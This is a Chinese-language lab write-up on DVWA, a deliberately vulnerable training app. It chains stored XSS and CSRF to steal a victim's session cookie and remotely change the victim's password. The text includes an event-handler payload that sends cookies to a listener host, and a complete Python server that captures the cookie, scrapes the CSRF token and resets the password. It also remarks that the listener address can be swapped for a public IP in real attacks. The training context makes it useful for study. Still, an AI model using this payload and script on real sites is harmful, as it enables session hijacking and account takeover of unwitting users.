确认目标:受害者在访问页面的一瞬间,其cookie就泄露到了远程主机,密码也被远程更改。
大部分关于DVWA的教程都仅仅是验证漏洞的存在并触发漏洞机制,很少有关于如何利用漏洞来对敏感信息进行获取与修改,以及如何综合利用多个漏洞来实现一个复杂目标的。
首先把难度调整为high
cookie获取验证
要远程获取cookie,首先验证cookie获取的方法。
开启burpsuite抓包,先随意进行输入
成功抓包,开始构造初步的payload,事先分析代码可以得知,xss的注入点在name,而且字符长度不能超过10(这一点形同虚设,这个条件仅在html页面中设置,通过改包,或者直接编辑html都可以绕过这个限制),且过滤了关键字“script”,所以分析判断,可以通过构造其他类型的节点,通过onload,onerror,onclick等属性来触发脚本
这里采取引用一个不存在的图片,再设置onerror的方式来触发
切换受害者账号访问该页面,发现能够成功弹出获取cookie,实验初步验证完成。
经过多次测试,在登录不同账号的时候可能会出现仅返回security值而不返回phpsessid的值。有的账号如admin可以正常在窗口中弹出phpsessid值,而gordonb账号仅弹出security值。推测和平台内预设账号的安全策略相关。
cookie获取到远程主机
接下来准备将cookie发送到其他主机上。重新构造输入:<input οnclick="fetch('http://192.168.137.1:3939', { credentials: 'include'})">
这里选择用onclick来触发脚本,便于控制和测试,在实战中可以替换为onload等更加易于触发的属性。
实验在虚拟机环境中进行,现在在主机开放一个端口来监听http服务,端口号3939。当脚本执行的时候会对http://192.168.137.1:3939进行访问,并且会附带上当前页面的凭据信息,凭据信息包含cookie。
效果如下图,单机输入框即可触发脚本。
以下python代码的作用是监听并代理一个本地端口,端口号设置为3939,主机的ip地址为192.168.137.1,所以虚拟机访问http://192.168.137.1:3939即可访问到这个代理服务。在实战中,这个url可以替换为自己的公网ip。
代码功能解释:打印所有接收到的http请求,包括:请求方法,请求路径,远程地址,请求头。
运行代码以开启代理服务
切换受害者账号单击文本框,代理服务成功接收到请求,请求内容包含cookie,至此,cookie泄露部分完成。
密码修改请求验证
下一步开始账号密码修改部分:
平台的csrf页面支持对当前账号的密码进行修改,单击密码修改按钮然后抓包分析
密码修改的方式仅仅是在访问这个页面的时候通过get传参传入两个密码和一个token,并在头部附加上cookie,通过手动构造请求,发现也能够实现账号密码的修改。
Cookie已经在第一部分成功获取,难点在于token的获取
审计页面源码,发现token就在当前html页面当中,只不过属性被设置为了hidden
删除hidden:
经过多次测试,能够推断出token的工作原理:访问页面,服务器产生token传入到页面当中,单击change之后页面脚本获取页面中的token,然后拼接构造请求,完成修改。
Token在服务器中保存管理,每次访问页面的时候都会更新,所以要在两次页面访问之内完成token的获取和请求的构建
远程修改受害者密码
思路:构建一个包含有效用户cookie的访问请求,然后在response当中利用正则表达式提取token。
测试代码:
测试成功,包含有效cookie的请求能够获取包含token的response,并且经过测试发现,请求头部只需要包含cookie,其他项目无需包含。
直接在先前获取cookie的代码上进行修改。添加一个功能函数:
传入通过步骤一获取的cookie值,构造一个请求,再在response当中提取token。最后构造一个能够修改账号密码的请求,再附加上cookie进行访问。
切换受害者账号,单击包含脚本的文本框,回显显示能够修改账号密码的请求的状态码为200。
去csrf自带的账号密码测试界面进行测试。在访问之前,受害者admin的密码为password
密码成功修改!
附录:用到的代码以及脚本
cookie泄露
<input onclick="fetch('http://192.168.137.1:3939', { credentials: 'include'})">
http代理服务
from http.server import SimpleHTTPRequestHandler, HTTPServer
import requests
import re
def get_html(cookie):
url = "http://192.168.137.1/vulnerabilities/csrf/"
headers = {
"Cookie": cookie,
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
match = re.search(r"name='user_token'\s*value='(.*?)'", response.text)
print(match.group(1))
url = "http://192.168.137.1/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token="+match.group(1)
print("###################################")
print(requests.get(url,headers=headers).status_code)
return match.group(1)
else:
print("Failed to retrieve HTML. Status code:", response.status_code)
class CustomHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
print(f"Request: {self.command} {self.path} - Remote Address: {self.client_address[0]}")
def do_GET(self):
print("Request Headers:")
for header in self.headers:
if header =="Cookie":
print("find cookie")
print(self.headers[header])
get_html(self.headers[header])#cookie拿去获取token
print("###################################")
super().do_GET()
def do_POST(self):
print("Request Headers:")
for header in self.headers:
if header =="Cookie":
print("find cookie")
get_html(self.headers[header])#cookie拿去获取token
print("###################################")
super().do_POST()
server_address = ('', 3939)
httpd = HTTPServer(server_address, CustomHandler)
print('Serving HTTP on port 3939...')
httpd.serve_forever()